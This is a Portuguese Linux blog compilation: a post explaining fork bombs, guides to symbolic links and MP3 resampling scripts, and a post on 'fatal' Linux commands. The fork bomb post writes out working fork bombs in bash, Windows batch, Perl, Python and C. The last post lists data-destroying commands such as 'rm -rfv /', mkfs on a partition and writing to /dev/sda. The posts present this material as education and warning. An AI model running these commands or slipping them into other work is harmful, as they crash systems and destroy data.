O que é uma fork bomb?

Neste post, vou mostrar como funcionam as fork bombs, como fazer uma e como se prevenir deste tipo de código malicioso.
Além das diversas definições, sempre há uma história por ser contada e é por onde vou começar.
Ao final do texto, há alguns links para outros sites onde o assunto também é abordado, caso você queira se aprofundar mais no assunto.
Pernalonga e Elmer Fudd
Se o seu interesse é prevenção, leia Como prevenir a execução de uma fork bomb no seu sistema.

Qual a definição de fork bomb?

Uma definição simples para fork bomb é a de que se trata de um código que tenha a função e a capacidade de se replicar indefinidamente.
Vírus e vermes não valem para esta definição.
À medida em que o código vai auto replicando, consome cada vez mais recursos de memória, de processamento etc.
Como os recursos do sistema não são inesgotáveis, o resultado é que ele entra em colapso.
Há relatos de que códigos deste tipo foram executados por estudantes, na Universidade de Washington, em um Burroughs 5500, em 1969 — o programa fazia 2 cópias de si mesmo, a cada vez em que era executado até que o sistema fosse derrubado.
A esta rápida reprodução do código deve-se o apelido de “trabalho de coelho” (rabbit job) ou wabbit, em alusão ao personagem da Looney Tunes, Elmer Fudd, que trocava o R pelo L (veja link ao final do texto) — a piada só tem graça em inglês.

Como criar uma fork bomb no Ubuntu

Você não precisa ser super usuário para criar e rodar uma fork bomb na maioria das vezes. Normalmente, cabe ao administrador do sistema regular como cada usuário irá usar os recursos.
error iconO código abaixo é um dos mais conhecidos e torna o seu sistema cada vez mais lento, a ponto de parar de responder completamente.
Este código e todos os outros, neste artigo, podem quebrar o seu sistema. Seja responsável!

:(){ :|: & };:

O seu funcionamento é o seguinte:

  • :() — cria/define uma função chamada :
  • {:|: &} — roda a função : e direciona sua saída para a função : e a executa nos bastidores
  • ; — este caractere funciona como separador, na linha de comandos. Equivale a && e permite iniciar uma outra instrução
  • : — executa a função definida no início

É possível desarmar esta bomba com o comando kill, no Linux — mas você provavelmente vai precisar ser muito rápido para fazer isto antes que seu sistema morra por inanição de recursos.
Uma outra forma, mais compreensível, de obter o mesmo resultado nefasto é assim:

bomba()
 {
bomba | bomba &
 }; bomba

No código, acima, fica mais claro ver a função executar-se a si mesma.
Se você gostaria de ver um exemplo não malicioso de execução de uma fork bomb, o código abaixo é seguro para você experimentar:

fork_bomb(){ echo "FORK BOMB"; };
fork_bomb

No terminal, ele pode ser interrompido com Ctrl+C.

Como criar uma fork bomb no Windows

Você pode criar um arquivo .bat, com o seguinte conteúdo:

:bomba
start %0
goto bomba

Ou rodar este código:

%0|%0

As fork bombs funcionam como esquemas de negação de serviço (denial of service) — elas devoram os recursos do sistema.

Como criar uma fork bomb em Perl, Python e em C

Exemplo em Perl:

perl -e "fork while fork" &

Em Python:

import os
  while(1):
      os.fork()

E, por último, uma fork bomb em linguagem C:

#include
int main()
 {
   while(1)
      fork();
 }

Referências

Como se prevenir de uma fork bomb.
Comandos fatais para Linux.
Cyberciti — Understanding fork bomb.
Linuxconfig — How to crash your system with a fork bomb.
Hortelino Troca-Letras (Elmer Fudd) — http://pt.wikipedia.org/wiki/Elmer_Fudd.
The hackers jargon — http://catb.org/~esr/jargon/html/W/wabbit.html.

Como criar links e atalhos no Linux.

A criação de links e atalhos ajuda a chegar mais rápido a arquivos e diretórios (ou pastas) em qualquer ambiente.
Neste texto vou mostrar como realizar a tarefa no ambiente gráfico e no terminal — vale a pena conhecer as duas maneiras.
captura de tela da lista de arquivos no Thunar

Crie atalhos no painel lateral do gerenciador de arquivos

O painel lateral (usualmente, à esquerda) do gerenciador de arquivos já abriga alguns atalhos úteis para a maioria dos usuários.
Você pode adicionar os seus, se quiser.
Para isto, arraste um arquivo ou uma pasta, do painel central para dentro da lista de atalhos no painel lateral.
Veja a figura:

Captura de tela do gerenciador de arquivos Thunar, no Xubuntu
Clique, para ver detalhes.

Saiba como criar atalhos na linha de comando

O comando para criar links, no terminal do Linux, é o ln.
O seu funcionamento é simples e você deve informar, antes de executar, o tipo de atalho, o diretório a ser linkado e o nome do link.
Veja um exemplo de criação de um link simbólico:

ln -s /var/www/html/ site

Os detalhes do comando acima:

  • -s — o tipo de link a ser criado: simbólico.
  • /var/www/html/ — o diretório a ser linkado.
  • site — o nome (à sua escolha) do link.

Tudo que for gravado em site, na verdade, estará sendo gravado em /var/www/html/.
Os links simbólicos têm coloração diferenciada na listagem de um diretório.
Ao dar o comando ls, os links são exibido em anil (ou azul claro).

captura de tela do terminal com listagem de arquivos e diretórios
Clique, para ver detalhes.

Como remover um link

Desde que o link seja simbólico, a operação de remoção só irá afetar o link. O diretório a que o link se refere permanecerá intacto.
Para remover o link, use o comando de remoção de arquivo normal. Para fazer isto, no exemplo dado acima, fica assim:

rm site

Pode verificar. Só o link foi apagado.

Use o gstreamer para fazer resampling de arquivos mp3 no Ubuntu

É possível reduzir ainda mais os tamanhos dos arquivos mp3, com pouca perda da qualidade. A utilidade deste procedimento é fazer com que uma quantidade maior deles caiba em dispositivos reprodutores antigos, com capacidade de armazenamento muito limitada.
Se você não se importa em ouvir toda a sua coleção de músicas em um dispositivo de som, com qualidade de rádio, esta é uma ótima ideia.

iPods mp3 player
Coleção de iPods

No primeiro post sobre este tema mostramos como fazer este trabalho através do LAME.
É claro que a redução tem um custo — a consequente redução da qualidade do áudio do arquivo. A gente aposta na possibilidade de esta queda na qualidade ser imperceptível para a maioria das pessoas e no aproveitamento mais eficiente do espaço na mídia de armazenamento. Houve caso de triplicar a quantidade de arquivos dentro de um pendrive antigo.
Atualmente, temos outras ferramentas que também podem fazer o trabalho e é possível criar um script de automação da tarefa bem menor e mais enxuto do que o do artigo anterior.
Vamos ver aqui como isto é possível.

Instalação das ferramentas de trabalho

Aqui vamos usar o GStreamer para fazer a conversão e resampleamento (resampling) dos arquivos mp3. A principal vantagem dele, em relação ao LAME, é que ele retém as informações id3 dos arquivos. Assim, podemos fazer um único script e menor.
Abra um terminal (Ctrl + Alt + T, no Ubuntu) e digite o comando que segue, para instalar gstreamer-tools:

sudo apt-get install gstreamer-tools

Aguarde alguns minutos enquanto o pacote é instalado e prossiga.

Como criar um script de conversão de arquivos de áudio mp3

Sugiro criar um diretório para scripts e programas no seu /home:

mkdir ~/bin
cd ~/bin

Agora abra o seu editor de textos preferido, copie e cole o script abaixo dentro dele:

#!/bin/bash
#
# gshrink - Um script para resamplear todos os arquivos mp3 do
# diretorio. Este script depende do pacote gstremar-tools
# Os créditos do script original:
# Elder-Geek --> http://elder-geek.blogspot.com.br
######################################################
# Lita os arquivos mp3 no diretorio atual
ls *.mp3 > mp3_list
ls *.MP3 >> mp3_list
# Analisa a lista de arquivos mp3 e substitui os espaços por caracteres de escape
sed -i 's: :\\ :g' mp3_list
# Verifica se o subdiretorio resample já existe. Se não, cria.
if
  test -e ./resample
then
  echo "diretorio/arquivo resample ja existe - apagar? (S/n)"
  read reply
  if
    [ "$reply" != "n" ]
  then
    rm -r resample
    mkdir resample
  else
    exit
  fi
else
  mkdir resample
fi
# Resampleia cada mp3 e grava as tags
# CBR bitrate bitrate=128
# VBR quality quality=9
  cat mp3_list |while read song
do
  echo "$song"
  gst-launch filesrc location= \"$song\" ! decodebin2 ! audioconvert ! lamemp3enc target=bitrate bitrate=128 ! id3v2mux ! filesink location=\"resample/$song\"
done
#clean up
if
  test -e mp3_list
then
  rm mp3_list
fi
if
  test -e tag2.txt
then
  rm tag2.txt
fi
exit

Uma última dica

Para quem fez backup de todos os seus CD’s e guardou cada coletânea e álbum em pastas diferentes, recomendo executar o script dentro de cada pasta de arquivos mp3 – o que vai criar um subdiretório adicional resample com os mesmos arquivos da pasta pai, só que resampleados e reduzidos, prontos para ir pra qualquer lugar.

Como reduzir o tamanho do arquivo de audio mp3

O caso aqui é o de reaproveitar todo e qualquer aparelho reprodutor de mp3, ou cartões de memória velhos e, sobretudo, com espaço para armazenamento muito limitado. Eu, mesmo, tinha um pendrive “guerreiro” de 256 Mb, que devia estar próximo dos 7 anos de uso — simplesmente não lembro de quando o comprei. Mas funciona bem em uma caixa de som com entrada USB.
Recentemente, converti uma coleção inteira de CDs para mp3, como cópia de segurança. Agora, para ouvir no dia a dia, não preciso de arquivos de 320 kbps – 128 kbps, ou menos, podem ser o suficiente.

MP3 Logo
MP3 Logo

Se você tem um iPod ou celular antigo, com espaço insuficiente para armazenar músicas, fazer um downsampling nelas pode ser uma solução — é possível triplicar a quantidade de músicas que cabem no dispositivo.
OBS.:A segunda parte deste artigo ensina a fazer esta tarefa com o gstreamer-tools.

Ferramentas necessárias para reduzir o tamanho do arquivo mp3

Os aplicativos necessários para realizar esta tarefa são o python-mutagen e o lame. Ambos podem ser baixados e usados livremente.
No Ubuntu, você pode instalar os dois primeiros via terminal (Ctrl + Alt + T), assim:

sudo apt-get install lame python-mutagen

Como converter os arquivos mp3

Você deve ter centenas de arquivos para converter, não apenas um, eu sei… — mas eu quero mostrar como tudo funciona. Sinta-se livre para pular esta parte, se quiser, apressadinho(a). 😉
Dentro do terminal aberto, digite o seguinte comando para resamplear a sua música (adapte o comando à sua situação, substituindo os nomes dos arquivos):

lame -V5 --vbr-new --resample 44.1 arquivo_original.mp3 arquivo_resampleado.mp3

Aguarde alguns intantes, enquanto os arquivos são processados e, depois, compare os tamanhos.

reduzir o tamanho do mp3
Clique para ampliar a tela

Depois de concluído o trabalho, verifique os tamanhos dos arquivos.
Parece que vai dar pra reviver o antigo cartão de memória, ou não?
Como resamplear arquivos mp3
Clique para ampliar

Problemas que você pode ter com a conversão

Temos dois problemas com este método, por mais eficiente que ele seja:

  • O LAME não copia as tags id3 pro arquivo de origem — em outras palavras, na hora em que estiver tocando, o display do seu aparelho não vai mostrar as informações da música (nome, cantor, álbum etc) – o que pode ser um problema menor para quem vai tocá-las em um aparelho sem visor;
  • Como eu imagino que você tenha centenas de músicas para converter, todo este trabalho braçal não tem sentido.

Como converter muitos arquivos mp3

Para fazer o resampling de uma quantidade brutal de arquivos, o ideal é usar um script.
O Linerd do TuxTweaks, ensina a montar um este script que automatiza a nossa tarefa.
Em verdade, vos digo que serão 2 scripts. O primeiro lê todos os arquivos do diretório a partir do qual está sendo executado e os repassa pro segundo script, que faz o resampling e copia as tags id3. Todos os arquivos do diretório atual serão copiados para um segundo, chamado resample, criado pelo script.
A recomendação, aqui, é que você crie uma pasta (diretório) só para scripts e programas seus:

mkdir ~/bin
cd ~/bin

Copie o texto do script abaixo e cole-o dentro do seu editor de textos preferido. Salve-o como mp3shrink dentro do diretório criado para isto ~/bin

#!/bin/bash
#
# mp3shrink - Um script para resamplear todos os arquivos mp3
# em um diretorio. Este script chama o cptag que precisa
# estar no diretorio do mp3shrink. O cptag depende do lame
# e do mid3v2 (mid3v2 se encontra no pacote do python-mutagen
# É aconselhavel que os scripts fiquem no diretório  
# ~/bin.
######################################################

# Lita os mp3 no diretorio atual
ls *.mp3 > mp3_list
ls *.MP3 >> mp3_list

# Analisa os arquivos mp3 e substitui os espaços em branco por barras de escape.
sed -i 's: :\\ :g' mp3_list

# Verifica a existencia do diretorio resample. Cria um se nao existir
if
   test -e ./resample
then
   echo "diretorio/arquivo resample ja existe. deseja remover? (S/n)"
   read reply
   if
     [ "$reply" != "n" ]
   then
     rm -r resample
     mkdir resample
   else
     exit
   fi
else
   mkdir resample
fi

# Resampleia cada arquivo mp3 e grava as tags atraves do script cptag
cat mp3_list |while read song
do
   echo "$song"
   ~/bin/cptag "$song"
done

# fazendo a limpeza .... 
if
   test -e mp3_list
then
   rm mp3_list
fi
if
   test -e tag2.txt
then
   rm tag2.txt
fi
exit

Feito isto, crie o arquivo cptag, também dentro do diretório ~/bin. Segue o código:

#!/bin/bash
#
#cptag - Um script que resampleia arquivos mp3 com o LAME
#        e copia as tags id3v2 do original pro novo.
#
#####################

# Le as tags id3 e grava no arquivo
mid3v2 -l "$1" > tag2.txt

# Resampleia o arquivo de audio

lame -V5 --vbr-new --resample 44.1 "$1" "resample/$1"

# ajusta o valor da variavel 'title'
if
   grep TIT2= tag2.txt > /dev/null  #testa se a tag title existe
then
   title=`grep TIT2= tag2.txt | sed "s:TIT2=::"`
   echo $title
else
   echo "A tag title nao existe."
fi

# Ajusta a variavel 'album'
if
   grep TALB= tag2.txt > /dev/null  #testa se a tag album existe
then
   album=`grep TALB= tag2.txt | sed "s:TALB=::"`
   echo $album
else
   echo "A tag album nao existe."
fi

# Ajusta a variavel 'artista'
if
   grep TPE1= tag2.txt > /dev/null  #Testa se a tag artista existe
then
   artist=`grep TPE1= tag2.txt | sed "s:TPE1=::"`
   echo $artist
else
   echo "A tag artista nao existe."
fi

# Ajusta o valor da variavel 'track'
if
   grep TRCK= tag2.txt > /dev/null  # Testa se a tag track existe
then
   track=`grep TRCK= tag2.txt | sed "s:TRCK=::"`
   echo $track
else
   echo "A tag track nao existe."
fi

# Ajusta a variavel 'genre'
if
   grep TCON= tag2.txt > /dev/null  # Testa se a taf genre exsite
then
   genre=`grep TCON= tag2.txt | sed "s:TCON=::"`
   echo $genre
else
   echo "A tag genre nao existe."
fi

# Grava as tags no arquivo
mid3v2 -t "$title" -A "$album" -a "$artist" -T "$track" -g "$genre" "resample/$1"

exit

Agora, você precisa tornar estes dois scripts executáveis:

cd ~/bin
chmod u+x mp3shrink cptag

Feito!
Agora vá para o diretório em que se encontram todos os mp3 que você deseja resamplear e execute:

mp3shrink

O script vai guardar os novos arquivos em um subdiretório chamado resample. Dê uma olhada!
Divirta-se!

4 comandos fatais e proibidos pro Linux.

Há comandos que são extremamente danosos pro seu sistema operacional Linux, se executados inadvertidamente.
Felizmente, nenhum deles pode ser executado sem privilégios administrativos — mas você deve ser cuidadoso, mesmo assim.
Captura_de_tela-Breaking.Bad.S01E04.avi-1Se o seu objetivo é o aprendizado, o ambiente mais seguro para testar estes e muitos outros comandos é o virtual. Aprenda a criar uma máquina virtual e vá brincar com segurança dentro dela.

O comando que apaga tudo

A função do comando rm é remover arquivos — e ele pode remover diretórios inteiros também, sem pedir qualquer confirmação.
Ao executar o comando rm -rfv /, com privilégios de root todos os arquivos e diretórios do seu sistema serão eliminados.
Veja o que ele faz:

  • r — indica a recursividade. Todos os arquivos do diretório atual e seus subdiretórios sofrerão a ação do comando;
  • f — indica a ‘forçabilidade’. Todos os arquivos serão forçosamente removidos, independente de suas permissões;
  • v — liga a ‘verbosidade’. Torna tudo mais lindo ao exibir os arquivos à medida em que são eliminados no seu terminal;
  • / — indica o local em que a operação ocorrerá. Neste caso, a raiz. É isto que torna o comando todo tão perigoso;

Se você executar a linha sem privilégios administrativos, só os arquivos nos quais você tem permissão de escrita serão afetados.

Como executar uma fork bomb

Esta é uma das formas de se fazer um ataque de negação de serviços, que consiste em, basicamente, saturar os recursos de um servidor ao ponto de torná-lo indisponível.
A fork bomb apresentada a seguir faz com que o Linux ou o Unix opere definindo uma função, chamada ‘:’ e que refira-se a si mesma duas vezes – em background e foreground:

: (){ : | : & };:

No Linux, o administrador pode prevenir este tipo de ataque com o comando ulimit que impõe restrições à quantidade de processos simultâneos por usuário.

Formatar uma partição

Qualquer instalação decente do Linux estará distribuída em várias partições. O comando:

mkfs.ext4 /dev/sdaX</code>

vai aplicar uma formatação completa à partição /dev/sdaX.
Formatar um disco completamente, desta forma, pode ser útil no caso de se estar repassando a máquina para uma outra pessoa.

Escrever diretamente no disco rígido

Ao enviar a saída de um comando diretamente pro endereço do dispositivo de disco rígido não é apenas desaconselhável. É uma ação muito perigosa e danosa pro sistema de arquivos, em sua máquina.
Pode ser feito da seguinte forma:

ls > /dev/sda

Há várias outras formas de se danificar um sistema Linux/Unix — e, na maior parte delas, é necessário ter privilégios especiais para ter sucesso.
Distribuições Linux voltadas para usuários com menor nível de conhecimento costumam vir com algumas configurações que previnem a maior parte dos acidentes.

Seja responsável! 😉